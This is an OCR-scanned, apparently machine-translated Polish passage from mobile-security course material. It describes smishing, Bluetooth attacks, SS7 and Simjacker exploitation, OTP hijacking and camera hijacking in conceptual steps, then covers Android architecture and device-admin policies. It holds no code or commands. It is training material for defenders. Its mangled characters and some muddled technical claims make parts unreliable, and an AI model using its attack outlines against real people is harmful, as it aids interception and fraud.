aplikacjami, z ktdérego uzytkownicy pobierajg j3, uznajac ja za autentyczna. Ztosliwe aplikacje
zainstalowane w systemach uzytkownikéw mogg uszkodzi¢ inne aplikacje lub przechowywane dane
oraz wysta¢ poufne dane, takie jak dzienniki potaczen, zdjecia, filmy, poufne dokumenty itd., do
atakujgcego bez wiedzy uzytkownikow. Atakujagcy mogg wykorzystaé¢ zebrane informacje do
wykorzystania urzadzen i przeprowadzenia dalszych atakow. Atakujgcy mogg rowniez przeprowadzac
socjotechnike, ktéra zmusza uzytkownikéw do pobierania i uruchamiania aplikacji poza oficjalnymi
sklepami z aplikacjami. Niewystarczajgca weryfikacja aplikacji lub jej brak zwykle prowadzi do
pojawienia sie ztodliwych i fatszywych aplikacji na rynku. Ztosliwe aplikacje moga uszkodzi¢ inne
aplikacje i dane oraz wystaé poufne dane uzytkownikéw do atakujgcych.

Problemy z piaskownicg aplikacji

Smartfony coraz czesciej przyciggajg uwage cyberprzestepcéw. Tworcy aplikacji mobilnych muszg
rozumie¢ zagrozenie dla bezpieczenstwa i prywatnosci urzadzen mobilnych poprzez uruchamianie
aplikacji bez piaskownicy i powinni odpowiednio opracowywac aplikacje z piaskownicg. Piaskownica
aplikacji to mechanizm bezpieczenstwa, ktéry pomaga chronié systemy i uzytkownikéw, ograniczajgc
zasoby, do ktdrych aplikacja moze uzyskaé dostep, do zamierzonych funkcji na platformie mobilne;j.
Piaskownica czesto jest przydatna do wykonywania nieprzetestowanego kodu lub niezaufanych
programéw pochodzgcych od niezweryfikowanych lub niezaufanych stron trzecich, dostawcéw,
uzytkownikéw i witryn internetowych. Zwieksza to bezpieczenstwo, izolujgc aplikacje, aby
uniemozliwi¢ intruzom, zasobom systemowym, zto$liwemu oprogramowaniu, takiemu jak trojany i
wirusy, oraz innym aplikacjom interakcje z nig. Poniewaz piaskownica izoluje aplikacje od siebie, chroni
je przed wzajemnymi manipulacjami; jednak ztosliwe aplikacje mogg wykorzystywac¢ luki w
zabezpieczeniach i omija¢ piaskownice. Bezpieczne S$rodowisko piaskownicy zapewnia aplikacji
ograniczone uprawnienia przeznaczone dla jej funkcjonalnosci w celu ograniczenia jej dostepu do
danych i zasobdéw systemowych innych uzytkownikéw, podczas gdy wrazliwe sSrodowisko piaskownicy
umozliwia ztosliwej aplikacji wykorzystanie luk w piaskownicy i naruszenie jej granic, co skutkuje
wykorzystywanie innych danych i zasobdéw systemowych.

Mobilny spam

Obecnie telefony komérkowe sg szeroko stosowane zaréwno do celdw osobistych, jak i biznesowych.
Spam to ogdlne okreslenie niechcianych wiadomosci wysytanych za posrednictwem technologii
komunikacji elektronicznej, takich jak SMS, MMS, wiadomosci btyskawiczne (IM) i e-mail. Spam z
telefondw komadrkowych, znany rowniez jako spam SMS, spam tekstowy lub spam w m-spamie, odnosi
sie  do niechcianych wiadomosci wysytanych masowo na znane/nieznane numery



telefonow/identyfikatory e-mail w celu kierowania na telefony komérkowe. Typowe wiadomosci typu
spam dostarczane na telefony komdrkowe to:

Wiadomosci zawierajgce reklamy lub ztosliwe linki, ktére moga naktoni¢ uzytkownikow do ujawnienia
poufnych informacji

Atrakcyjne komunikaty handlowe reklamujgce produkty/ustugi

Wiadomosci SMS lub MMS informujace, ze ofiara wygrata nagrode i proszace o wykonanie potgczenia
pod podany numer ustugi telefonicznej o podwyzszonej optacie w celu uzyskania dalszych informacji

Ztosliwe tacza, ktdre mogg naktaniac¢ uzytkownikéw do ujawnienia poufnych danych osobowych lub
firmowych Wiadomosci typu phishing, ktére naktaniajg odbiorce do ujawnienia danych osobowych lub
finansowych, takich jak imie i nazwisko, adres, data urodzenia, numer konta bankowego, numer karty
kredytowej itd. mogg zosta¢ wykorzystane do popetnienia oszustwa tozsamosci lub oszustwa
finansowego

Wiadomosci spamowe zajmujg znaczng czes$é przepustowosci sieci. Konsekwencje spamu mobilnego
obejmuja straty finansowe, wstrzykiwanie ztosliwego oprogramowania i incydenty naruszenia danych
korporacyjnych.

SMS-owy atak phishingowy (SMiShing) (skanowanie ukierunkowanego ataku)

Wiadomosci tekstowe to najbardziej rozpowszechniona komunikacja niegtosowa w telefonach
komadrkowych. Uzytkownicy na catym Swiecie codziennie wysytajg i odbierajg miliardy wiadomosci
tekstowych. Tak ogromna ilo$¢ danych pocigga za sobg wzrost liczby atakow spamowych czy
phishingowych. Wytudzanie informacji SMS (znane réwniez jako SMiShing) to rodzaj oszustwa typu
phishing, w ktérym osoba atakujgca wykorzystuje systemy SMS do wysytania fatszywych wiadomosci
tekstowych. Jest to czynnos¢ polegajaca na prébie zdobycia informacji osobistych i finansowych
poprzez wysytanie SMS-6w (lub komunikatoréw internetowych) zawierajgcych oszukancze tacza.
Czesto te fatszywe wiadomosci tekstowe zawierajg oszukaniczy adres URL strony internetowej lub
numer telefonu, aby sktoni¢ ofiary do ujawnienia ich danych osobowych lub finansowych, takich jak
numery SSN, numery kart kredytowych i bankowos¢ internetowa

Nazwa uzytkownika i hasto. Ponadto osoby atakujgce implementujg SMiShing w celu infekowania
urzadzen mobilnych ofiar, telefony i powigzane sieci ze ztosliwym oprogramowaniem. Atakujacy
kupuja przedptacong karte SMS, uzywajac fatszywej tozsamosci. Nastepnie wysytajg przynete SMS do
uzytkownika. SMS moze wydawac sie atrakcyjny lub pilny. Moze to na przyktad obejmowac wiadomos¢
o loterii, kupon podarunkowy, zakup online lub powiadomienie o zawieszeniu konta wraz ze ztosliwym
linkiem lub numerem telefonu. Gdy uzytkownik kliknie odsytacz, uznajgc go za uzasadniony, zostaje
przekierowany na strone phishingowa atakujgcego, gdzie podaje zgdane informacje (np. imie i
nazwisko, numer telefonu, date urodzenia, numer karty kredytowej lub PIN, kod CVV, SNN i adres e-
mail). Osoba atakujgca moze wykorzystac¢ uzyskane informacje do wykonywania ztosliwych dziatan,
takich jak kradziez tozsamosci, zakupy online i tak dalej.

Dlaczego phishing SMS jest skuteczny?
Wiekszo$¢ konsumentdéw uzyskuje dostep do Internetu za posrednictwem urzadzenia mobilnego.
tatwo skonfigurowaé mobilng kampanie phishingowa.

Trudne do wykrycia i powstrzymania powoduje szkody.



Uzytkownicy mobilni nie sg uzaleznieni od otrzymywania spamowych wiadomosci tekstowych na swoj
telefon komdrkowy.

Brak gtéwnego mechanizmu usuwania spamu SMS.
Wiekszos$¢ mobilnych narzedzi antywirusowych nie sprawdza wiadomosci SMS.
Parowanie urzadzen mobilnych w otwartych potaczeniach Bluetooth i Wi-Fi

Ustawienie potaczenia Bluetooth urzadzenia mobilnego na tryb ,otwarty” lub ,wykrywanie” oraz
wiaczenie funkcji automatycznego tgczenia Wi-Fi, szczegdlnie w miejscach publicznych, stanowi
powazne zagrozenie dla urzadzen mobilnych. Atakujgcy wykorzystujg takie ustawienia, aby
zainfekowac urzgdzenie mobilne ztosliwym oprogramowaniem, takim jak wirusy i konie trojanskie, lub
naruszy¢ niezaszyfrowane dane przesytane przez niezaufane sieci. Mogg naktoni¢ ofiary do
zaakceptowania zgdania potaczenia Bluetooth ze ztosliwego urzadzenia lub mogg przeprowadzi¢ atak
MITM w celu przechwycenia i narazenia na szwank wszystkich danych wysytanych do iz podtgczonych
urzadzen. Wykorzystujgc zebrane informacje, osoby atakujgce mogg angazowac sie w oszustwa
tozsamosci i inne ztosliwe dziatania, narazajac w ten sposéb uzytkownikdéw na duze ryzyko. Techniki
takie jak ,bluesnarfing” i ,bluebugging” pomagajg atakujgcemu podstuchiwaé lub przechwytywac
transmisje danych miedzy urzadzeniami mobilnymi sparowanymi na otwartych potgczeniach (np.
publiczne Wi-Fi lub niezaszyfrowane routery Wi-Fi).

Bluesnarfing (kradziez informacji przez Bluetooth)

Bluesnarfing to kradziez informacji z urzadzenia bezprzewodowego za posrednictwem potaczenia
Bluetooth, czesto miedzy telefonami, komputerami stacjonarnymi, laptopami, palmtopami i innymi
urzadzeniami. Ta technika umozliwia atakujgcemu dostep do listy kontaktéw ofiary, wiadomosci e-
mail, wiadomosci tekstowych, zdje¢, filméw i danych biznesowych przechowywanych na urzadzeniu.
Kazde urzadzenie z wigczonym potgczeniem Bluetooth i ustawionym jako , wykrywalne” (pozwalajgce
innym urzadzeniom Bluetooth znajdujgcym sie w zasiegu na wyswietlenie urzadzenia) moze by¢
podatne na bluesnarfing, jesli oprogramowanie dostawcy zawiera pewng luke w zabezpieczeniach.
Bluesnarfing wykorzystuje potgczenia Bluetooth innych oséb bez ich wiedzy.

Bluebugging (przejecie urzadzenia przez Bluetooth)

Bluebugging polega na uzyskaniu zdalnego dostepu do docelowego urzadzenia obstugujgcego
technologie Bluetooth i korzystaniu z jego funkcji bez wiedzy i zgody ofiary. Atakujacy narazajg
bezpieczenstwo urzadzenia docelowego, aby przeprowadzi¢ atak typu backdoor przed zwrdceniem
kontroli wtascicielowi. Bluebugging umozliwia atakujgcym wachanie poufnych danych firmowych lub
osobistych, odbieranie pofaczen i wiadomosci tekstowych przeznaczonych dla ofiary, przechwytywanie
potaczen telefonicznych i wiadomosci, przekazywanie potgczen i wiadomosci, tgczenie sie z Internetem
i wykonywanie innych ztosliwych dziatan, takich jak uzyskiwanie dostepu do list kontaktéw, zdjeg, i
wideo.

Atak agenta Smitha

Ataki Agenta Smitha polegajg na nakfanianiu ofiar do pobrania i zainstalowania zto$liwych aplikacji
zaprojektowanych i opublikowanych przez osoby atakujgce w postaci gier, edytoréw zdjec lub innych
atrakcyjnych narzedzi z zewnetrznych sklepow z aplikacjami, takich jak 9Apps. Gdy uzytkownik
zainstaluje aplikacje, gtdéwny ztosliwy kod wewnatrz aplikacji infekuje lub zastepuje legalne aplikacje w
poleceniach C&C urzadzenia mobilnego ofiary. Zwodnicza aplikacja zastepuje legalne aplikacje, takie
jak WhatsApp, SHAREit i MX Player, podobnymi zainfekowanymi wersjami. Czasami aplikacja wydaje



sie by¢ autentycznym produktem Google, takim jak Google Updater lub Motywy. Nastepnie osoba
atakujgca tworzy ogromng liczbe nieistotnych i oszukariczych reklam na urzadzeniu ofiary za
posrednictwem zainfekowanej aplikacji w celu uzyskania korzysci finansowych. Atakujacy wykorzystuja
te aplikacje do kradziezy krytycznych informacji, takich jak dane osobowe, dane uwierzytelniajgce i
dane bankowe, z urzagdzenia mobilnego ofiary za pomocg polecen C&C.

Wykorzystanie luki SS7

Signaling System 7 (SS7) to protokdét komunikacyjny, ktéry umozliwia uzytkownikom mobilnym
wymiane komunikacji za posrednictwem innej sieci komérkowej (zwtaszcza podczas roamingu).
Urzadzenia mobilne majg by¢ przenoszone w réznych lokalizacjach, aby stuzy¢ swoim uzytkownikom.
Zmiana operatora telekomunikacyjnego lub korzystanie z sieci innej wiezy komdrkowej jest dozwolone
przez protokdt SS7. Ten mechanizm sygnalizacyjny dziata w oparciu o wzajemne zaufanie operatoréw,
bez jakiejkolwiek weryfikacji autentycznosci. Poniewaz sie¢ sygnalizacyjna SS7 nie jest izolowana,
osoba atakujgca moze wykorzysta¢ te luke do przeprowadzenia ataku MITM poprzez blokowanie
wiadomosci tekstowych i potgczen miedzy komunikujgcymi sie urzadzeniami. Atakujgcy moze
podstuchiwac¢ dane uwierzytelniajgce bank, hasta jednorazowe i inne poufne informacje przesytane
przez sie¢. Ta luka w zabezpieczeniach SS7 moze réwniez pozwoli¢ atakujgcemu na ominiecie
uwierzytelniania dwusktadnikowego i kompleksowego szyfrowania za posrednictwem wiadomosci
SMS.

Zagrozenia zwigzane z lukg SS7

Kiedy atakujgcy uzyskuje dostep do protokotu SS7, urzadzenie ofiary jest narazone na nastepujgce
zagrozenia: Ujawnienie tozsamosci subskrybenta

Ujawnienie tozsamosci sieciowej

Szpiegowanie i przechwytywanie sieci w celu kradziezy danych osobowych

Zezwalanie na podstuchiwanie telefonu

Wykonywanie atakéw DoS w celu zniszczenia reputacji docelowego operatora telekomunikacyjnego
Sledzenie lokalizacji geograficznych

Simjacker: Atak na karte SIM

Simjacker to luka w zabezpieczeniach zwigzana z przegladarkg S@T karty SIM (SIMalliance Toolbox
Browser), preinstalowanym oprogramowaniem wbudowanym w karty SIM w celu dostarczenia
zestawu instrukcji. Atakujgcy wykorzystujg te luke w przegladarce S@T do wykonywania réznych
ztodliwych dziatan, takich jak przechwytywanie lokalizacji urzgdzenia, monitorowanie potaczen,
zbieranie informacji, takich jak numer IMEI, wykonywanie fatszywych lub kosztownych potgczen,
wysytanie wiadomosci o podwyzszonej optfacie, zmuszanie przegladarki urzadzenia do faczenia sie z
ztodliwe strony internetowe i przeprowadzanie atakéw DoS w celu zablokowania kart SIM. Atak oparty
na karcie SIM moze zostaé zaostrzony w zaleznosci od urzadzenia ofiary. Atak Simjacker jest inicjowany
przez wystanie kodu podobnego do spyware w postaci ustawien systemu lub karty SIM za
posrednictwem wiadomosci SMS w celu przejecia petnej kontroli nad kartg SIM i urzgdzeniem
mobilnym w celu wydawania réznych polecen bez interakcji uzytkownika.

Kroki zwigzane z atakiem Simjacker

Atakujgcy wysyta oszukarnicze wiadomosci SMS zawierajgce ukryty kod lub instrukcje z zestawu SIM
Application Toolkit (STK)



Ofiara otrzymuje ztoSliwy SMS, a przegladarka S@T na karcie SIM automatycznie rozpoznaje i
przetwarza ukryte instrukcje lub kod

Wstrzykniety kod wykonuje rézne czynnosci na urzadzeniu bez zgody uzytkownika

Urzadzenie wspotpracujgce otrzymuje informacje o uzytkowniku za posrednictwem wiadomosci SMS,
ktore atakujgcy moze wykorzystac do $ledzenia lokalizacji na zywo, eksfiltracji informacji o urzadzeniu
i wykonywania wielu innych zto$liwych dziatan

Przejecie hasta OTP/przejecie uwierzytelniania dwusktadnikowego

Hasta jednorazowe (OTP) sg wysytane przez serwer za posSrednictwem wiadomosci SMS, aplikacji
uwierzytelniajgcej lub wiadomosci e-mail w celu bezpiecznego uwierzytelnienia uzytkownikéw.
Chociaz ta funkcja wydaje sie bezpieczna, osoby atakujgce moga przejgé OTP i przekierowad je na swoje
urzadzenia osobiste przy uzyciu réznych technik, takich jak socjotechnika i przechwytywanie SMS-6w.
Atak ten jest trudny do wykrycia, poniewaz uzytkownicy mogg podejrzewac problem z siecig po
nieotrzymaniu hasta jednorazowego, podczas gdy hasto jednorazowe jest faktycznie przekierowywane
na urzadzenie kontrolowane przez osobe atakujgca. Za pomoca skradzionego hasta jednorazowego
napastnicy moga logowac sie do internetowych kont ofiary, resetowac hasta i kras¢ poufne informacje.
Atakujgcemu udaje sie przejgé OTP, poczatkowo kradngc dane PIl ofiary, przekupujac lub oszukujac
sprzedawcéw w sklepach mobilnych lub wykorzystujgc ponowne wykorzystanie numeru dla réznych
klientéw. Atakujgcy przeprowadzajg inzynierie spoteczng na dostawcach ustug telekomunikacyjnych,
aby uzyskaé prawo wtasnosci do karty SIM docelowego uzytkownika, twierdzac, ze jego urzadzenie
zostato utracone. W ten sposdb atakujgcy przekonujg operatora telekomunikacyjnego i zadajg od
niego przekazania kontroli nad kartg SIM ofiary. Atakujgcy mogg rowniez wykorzystywac ataki typu
jacking SIM, aby zainfekowa¢ karte SIM urzadzenia docelowego za pomocg ztosliwego
oprogramowania, za pomoca ktérego moga przechwytywac i odczytywac hasta jednorazowe.

Przejecie OTP za posrednictwem powiadomien na ekranie blokady

Atakujacy fizycznie kradng hasta OTP oparte na SMS-ach z telefonu komodrkowego docelowego
uzytkownika, Scisle monitorujgc dziatania uzytkownika. Moga wyswietla¢ powiadomienia na ekranie
blokady docelowego uzytkownika, gdy zazadajg hasta jednorazowego. Atakujgcy moga przejac
powiadomienia na ekranie blokady za pomoca réznych metod, takich jak podstuchiwanie lub
naktanianie uzytkownika do uzyczenia telefonu w celu wykonania potaczenia alarmowego.

Ataki polegajace na przechwytywaniu kamery/mikrofonu

Wraz z rozpowszechnieniem korzystania z urzadzen osobistych z potgczeniem internetowym, oprécz
korzysci ptynacych z nich, pojawia sie wiele istotnych problemoéw zwigzanych z bezpieczeristwem.
Atakujgcy préobujg przeprowadzi¢ wyrafinowane ataki na uzytkownikéow cyfrowych, aby uzyskac
nieautoryzowany dostep do ich urzadzen i ukras¢ poufne dane lub naruszy¢ bezpieczenstwo
urzadzenia. Ponizej przedstawiono dwie rézne metody atakdw, ktdre atakujacy czesto stosujg w celu
zabezpieczenia aparatu i mikrotelefondw urzadzen.

Atak kamuflujacy

Atak camfecting to atak polegajacy na przechwytywaniu kamery internetowej. W tym ataku atakujacy
uzyskuje dostep do kamery komputera docelowego lub urzgdzenia mobilnego. Atakujacy infekuje
urzadzenie docelowe trojanem zdalnego dostepu (RAT) i naraza je na szwank, aby uzyska¢ dostep do
kamery i mikrofonu ofiary. Atakujacy moze réwniez wytgczy¢ swiatto kamery, aby unikngé wykrycia.
Korzystajgc z tej metody, osoba atakujgca moze uzyskaé poufne dane, takie jak osobiste zdjecia,



nagrane filmy i lokalizacje uzytkownika. Ponadto atakujagcy moze sterowaé kamerg z odlegtych
obszarow.

Kroki zwigzane z atakiem Camfecting

Atakujacy albo wysyta wiadomos¢ phishingowg ze ztosliwym linkiem, albo naktania ofiare do
odwiedzenia ztosliwej strony internetowe;.

Gdy ofiara kliknie ztosliwy odsytacz lub odwiedzi ztosliwg strone internetowg, ztosliwe
oprogramowanie jest pobierane i instalowane na urzadzeniu, zapewniajgc atakujgcemu zdalny dostep.

Teraz osoba atakujgca moze przechwytywac dane osobowe, takie jak zdjecia i filmy.
Atak na Androida dotyczacy przejecia aparatu

Atakujgcy probujg wykorzysta¢ aplikacje aparatu Google, ktéra jest powszechnie uzywana na
urzadzeniach z Androidem jako domysina aplikacja aparatu. Osoba atakujgca moze wykorzystac liczne
luki w zabezpieczeniach Androida, aby obejs¢ wymagane uprawnienia i uzyska¢ dostep do kamery i
mikrofonu ofiary. Co wiecej, osoba atakujgca moze wykorzystac te luke, nawet jesli urzadzenie mobilne
jest zablokowane. Aplikacje aparatu na Androida zazwyczaj wymagajq uprawnien do przechowywania
zdjed i filmow. Aplikacje te wymagajg od ofiary udzielenia uprawnien, takich jak

android.permission.CAMERA
android.permission.RECORD_AUDIO
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION

Takie uprawnienia do przechowywania zapewniajg nieograniczony dostep do catej pamieci
wewnetrznej i umozliwiajg atakujagcym wykonywanie réznych czynnosci, takich jak robienie zdje¢;
nagrywanie wideo i rozmow gtosowych; oraz uzyskiwanie dostepu do przechowywanych zdje¢, filmow,
lokalizacji GPS i innych poufnych informacji.

Kroki zwigzane z atakiem typu Android Camera Hijack

Atakujgcy wykorzystujg rézne luki w zabezpieczeniach docelowego urzgdzenia z Androidem,
naktaniajac ofiare do pobrania ztosliwej aplikacji. Ztosliwa aplikacja instaluje trojana na urzadzeniu
ofiary bez jej wiedzy. Gdy ofiara zaczyna korzystac¢ z zainfekowanej aplikacji, ustanawiane jest trwate
pofaczenie miedzy ofiarg a atakujgcym. Nawet jesli ofiara zamknie aplikacje, potaczenie utrzymuje sie,
umozliwiajgc atakujgcym potajemne robienie zdjeé i nagrywanie filméw.

Hakowanie systemu operacyjnego Android

Szybko rosnie liczba 0sdb korzystajgcych ze smartfonéw i tabletow, poniewaz urzadzenia te obstuguja
szeroki zakres funkcjonalnosci. Android jest najpopularniejszym mobilnym systemem operacyjnym,
poniewaz jest platforma otwartg dla wszystkich aplikacji. Podobnie jak inne systemy operacyjne,
Android ma pewne luki w zabezpieczeniach i nie wszyscy uzytkownicy Androida instalujg tatki w celu
aktualizacji i zabezpieczenia oprogramowania i aplikacji systemu operacyjnego. Takie swobodne
podejscie uzytkownikow pozwala atakujgcym wykorzystywac luki i przeprowadza¢ réznego rodzaju
ataki w celu kradziezy cennych danych przechowywanych na urzgdzeniach ofiar. W tej sekcji
omowiono system operacyjny Android, jego architekture i zwigzane z nim luki w zabezpieczeniach.
Obejmuje réwniez proces rootowania telefonéw z systemem Android, narzedzi do rootowania,
trojanéw dla systemu Android i hakowania telefondw komaorkowych z systemem Android. Na koniec



w tej sekcji omowiono wytyczne dotyczace zabezpieczania urzadzen z systemem Android, kontroli
bezpieczenstwa i narzedzi do $ledzenia urzadzen.

System operacyjny Android

Android, Srodowisko oprogramowania opracowane przez Google dla urzadzern mobilnych, obejmuje
system operacyjny, oprogramowanie posredniczace i kluczowe aplikacje. System operacyjny Android
opiera sie na jadrze Linuksa i jest platforma typu open source.

Cechy:

Zapewnia réznorodne gotowe komponenty Ul, takie jak ustrukturyzowane obiekty uktadu i kontrolki
Ul, ktére umozliwiajg zbudowanie GUI dla aplikacji

Zapewnia kilka opcji zapisywania trwatych danych aplikacji:

o Shared Preferences — przechowuj prymitywne dane prywatne w parach klucz-wartosc

o Pamie¢ wewnetrzna — prywatne dane w pamieci urzadzenia

o Pamieé¢ zewnetrzna — publiczne dane w udostepnionej pamieci zewnetrznej

0 Bazy danych SQLite — przechowuj dane strukturalne w prywatnej bazie danych

o Pofaczenie sieciowe — Przechowuj dane w Internecie na wtasnym serwerze sieciowym
RenderScript zapewnia niezalezny od platformy silnik obliczeniowy, ktéry dziata na poziomie

rodzimy poziom. Mozna go uzywa¢ do przyspieszania aplikacji wymagajacych duzej mocy
obliczeniowe;j.

Zapewnia rozbudowane interfejsy API, ktére umozliwiajg aplikacji faczenie sie i interakcje z innymi
urzadzeniami Bluetooth, komunikacja bliskiego zasiegu (NFC), Wi-Fi P2P, USB i inicjowanie sesji
protokotu (SIP), oprdécz standardowych potgczen sieciowych.

Ramy aplikacji pozwalajg na ponowne uzycie i wymiane komponentow.

Srodowisko wykonawcze systemu Android (ART) zoptymalizowane pod katem urzadzers mobilnych.
Zintegrowana przegladarka oparta na silniku Blink i WebKit typu open source.

SQLite do przechowywania danych strukturalnych.

Obstuga multimediéw dla popularnych formatéw audio, wideo i zdje¢ (np. MPEG4, H.264, MP3, AAC,
AMR, JPG, PNG i GIF).

Bogate sSrodowisko programistyczne obejmujgce emulator urzadzenia, narzedzia do debugowania,
profilowanie pamieci i wydajnosci oraz wtyczka dla Eclipse IDE.
Architektura systemu operacyjnego Android

Android to oparty na systemie Linux system operacyjny przeznaczony dla urzadzen przenosnych, takich
jak smartfony i tablety. Jest to stos komponentéw oprogramowania podzielonych na szes¢ sekcji
(aplikacje systemowe, platforma Java AP, natywne biblioteki C/C++, Srodowisko wykonawcze systemu
Android, warstwa abstrakcji Flardware (FIAL) i jadro systemu Linux) oraz pie¢ warstw.

Aplikacje systemowe



Wszystkie aplikacje systemu Android znajdujg sie w gérnej warstwie. Kazda opracowana aplikacja
powinna pasowac do tej warstwy. Niektore standardowe aplikacje, ktére sg fabrycznie instalowane na
kazdym urzadzeniu z Androidem, obejmujg dialer, poczte e-mail, kalendarz, aparat fotograficzny,
wiadomosci SMS, przegladarki internetowe, menedzery kontaktow i tak dalej. Wiekszos$¢ aplikacji na
Androida jest ,,napisana” w Javie.

Framework API Javy

Funkcje platformy Android sg udostepniane programistom za posrednictwem interfejséw API
napisanych w Javie. Framework aplikacji oferuje aplikacjom wiele ustug wysokiego poziomu, ktore
programisci wtgczajg do ich rozwoju. Oto niektdre bloki struktury aplikacji:

o Dostawcy tresci — zarzadzajg udostepnianiem danych miedzy aplikacjami,

o View System — do tworzenia list, siatek, pdl tekstowych, przyciskow i tak dale;j.

o Activity Manager — kontroluje cykl zycia aplikacji,

o Menedzer lokalizacji — zarzadza lokalizacjg za pomocg GPS lub masztéw komdrkowych,
o Menedzer pakietéw — $ledzi aplikacje zainstalowane na urzadzeniu,

o Menedzer powiadomien — pomaga aplikacjom wyswietla¢ niestandardowe komunikaty na pasku
stanu.

o Resource Manager — zarzgdza réznymi typami wykorzystywanych zasobodw,
o Menedzer telefonii — zarzadza wszystkimi potgczeniami gtosowymi,

o Menedzer okien — zarzadza oknami aplikacji.

Natywne biblioteki C/C++

Nastepna warstwa to biblioteki natywne. Biblioteki sg ,napisane” w C lub C++ i sg specyficzne dla
konkretnego sprzetu. Ta warstwa pozwala urzgdzeniu kontrolowac rézne typy danych. Natywne
biblioteki sg nastepujace:

o WebKit i Blink — silnik przegladarki internetowej do wyswietlania zawartosci HTML

o Open Max AL — API towarzyszgce OpenGL ES, ale uzywane do multimediéw (wideo i audio), a nie
tylko do audio

o Libc — zawiera biblioteki Systemu C

o0 Media Framework — udostepnia kodeki multimedialne umozliwiajgce nagrywanie i odtwarzanie
réznych formatéw multimedialnych

o0 Otwoérz GL | ES — biblioteka grafiki 2D i 3D

o Surface Manager — przeznaczony do zarzagdzania wyswietlaczem
o SQLite — silnik bazy danych uzywany do przechowywania danych
o FreeType — przeznaczony do renderowania czcionek

0 SSL — przeznaczony do zabezpieczania Internetu

Srodowisko wykonawcze Androida zawiera podstawowe biblioteki i maszyne wirtualng ART.



o Android Runtime (ART): W przypadku wersji Androida starszych niz 5.0 aplikacje majg wtasne procesy
i instancje $rodowiska wykonawczego. Srodowisko uruchomieniowe systemu Android ma takie
funkcje, jak kompilacja z wyprzedzeniem (AOT), kompilacja just-in-time (JIT), zoptymalizowane
wyrzucanie elementow bezuzytecznych (GC) i pliki w formacie Dalvik Executable (DEX) do kompresji
kodu maszynowego.

o Biblioteki podstawowe: Zestaw podstawowych bibliotek umozliwia programistom pisanie aplikacji
na Androida przy uzyciu jezyka Java.

Warstwa abstrakcji sprzetu

Warstwa abstrakcji sprzetu stuzy do udostepniania mozliwosci sprzetowych urzadzenia srodowisku
Java API, ktdre znajduje sie na wyzszym poziomie. Dziata jako warstwa abstrakcji miedzy sprzetem a
stosem oprogramowania. HAL obejmuje rézne moduty wymagane przez sprzet w urzadzeniu, takie jak
dzwiek, kamera, Bluetooth, czujniki i tak dalej.

Jadro Linuksa

System operacyjny Android opiera sie na jadrze Linux. Ta warstwa obejmuje sterowniki urzadzen
niskiego poziomu, takie jak sterownik audio, sterownik bindowania (IPC), sterownik wyswietlacza,
sterownik klawiatury, sterownik Bluetooth, sterownik aparatu, sterownik pamieci wspoétdzielonej,
sterownik USB, sterownik Wi-Fi, sterownik pamieci Flash i zarzadzanie energig dla rdznych
komponentéw sprzetowych. Funkcje tej warstwy obejmujg zarzadzanie pamiecia, zarzadzanie energig,
zarzadzanie bezpieczenstwem i prace w sieci.

Interfejs APl do administrowania urzgdzeniami z systemem Android

Interfejs APl administrowania urzadzeniami udostepnia funkcje administrowania urzgdzeniami na
poziomie systemu. Takie interfejsy APl umozliwiajg programistom tworzenie aplikacji $wiadomych
bezpieczenstwa, ktére sg przydatne w srodowiskach korporacyjnych, w ktérych specjalisci IT wymagaja
petnej kontroli nad urzadzeniami pracownikdédw. Mozna uzy¢ interfejsu APl do administrowania
urzadzeniem (,,admin”) do pisania aplikacji do administrowania urzgdzeniami, ktére uzytkownicy
instalujg na swoich urzgdzeniach. Aplikacja administratora urzadzenia wymusza zgdane zasady. Oto
kilka przyktaddéw typdéw aplikacji, ktére moga korzystaé z interfejsu APl administrowania urzgdzeniem:

Klienci poczty e-mail
Aplikacje zabezpieczajgce, ktére wykonujg zdalne czyszczenie
Ustugi i aplikacje do zarzgdzania urzgdzeniami

W ponizszej tabeli wymieniono zasady obstugiwane przez interfejs APl administrowania urzgdzeniami
z systemem Android:

Zasady: Opis

Wymagane ztozone hasto : Wymaga, aby hasto zawierato co najmniej litere, cyfre i specjalny symbol.
Wprowadzony w Androidzie 3.0.

Minimalna liczba liter wymaganych w hasle : Minimalna liczba liter wymaganych w hasle dla wszystkich
administratoréw lub dla konkretnego administratora. Wprowadzony w Androidzie 3.0.



Minimalna liczba matych liter wymaganych w hasle : minimalna liczba matych liter wymagana w hasle
dla wszystkich administratoréw lub dla konkretnego administratora. Wprowadzony w Androidzie 3.0.

Minimalna liczba znakéw innych niz litery wymagana w hasle : Minimalna liczba znakéw innych niz
litery wymagana w hasle dla wszystkich administratoréw lub okresSlonego administratora.
Wprowadzony w Androidzie 3.0.

Minimalna liczba cyfr wymaganych w hasle : Minimalna liczba cyfr wymaganych w hasle dla wszystkich
administratoréw lub okreslonego administratora. Wprowadzony w Androidzie 3.0.

Minimalna liczba symboli wymaganych w hasle : Minimalna liczba symboli wymaganych w hasle dla
wszystkich administratorow lub konkretnego administratora. Wprowadzony w Androidzie 3.0.

Minimalna liczba wielkich liter wymaganych w hasle : minimalna liczba wielkich liter wymagana w hasle
dla wszystkich administratoréw lub dla konkretnego administratora. Wprowadzony w Androidzie 3.0.

Limit czasu wygasniecia hasta : kiedy hasto wygasnie, wyrazone jako réznica w milisekundach od
momentu, gdy administrator urzadzenia ustawi limit czasu wygasniecia. Wprowadzony w Androidzie
3.0.

Ograniczenie historii haset : ta zasada uniemozliwia uzytkownikom ponowne uzycie ostatnich n
unikalnych  haset. Zwykle tej zasady mozina uzywa¢ w pofgczeniu z funkcjg
setPasswordExpirationTimeout(), ktéra wymusza na uzytkownikach aktualizacje haset po uptywie
okreslonego czasu. Wprowadzony w Androidzie 3.0.

Maksymalna liczba nieudanych préb podania hasta : okresla, ile razy uzytkownik moze wprowadzi¢
btedne hasto, zanim urzadzenie wyczysci swoje dane. Interfejs APl administrowania urzadzeniami
umozliwia réwniez administratorom zdalne resetowanie urzadzenia do domysinych ustawien
fabrycznych. Zabezpiecza to dane w przypadku zgubienia lub kradziezy urzadzenia.

Blokada maksymalnego czasu nieaktywnosci: Ustawia czas, jaki uptynat od ostatniego dotkniecia
ekranu lub nacisniecia przycisku przez uzytkownika, zanim urzgdzenie zablokuje ekran. W takim
przypadku uzytkownicy muszg ponownie wprowadzi¢ kod PIN lub hasto, zanim bedg mogli korzystac
ze swoich urzadzen i uzyskac¢ dostep do danych. Wartos¢ moze wynosi¢ od 1 do 60 minut.

Wymagaj szyfrowania pamieci masowe] : okresla szyfrowanie pamieci masowej, jesli urzagdzenie je
obstuguje. IWprowadzony w systemie Android 3.0.



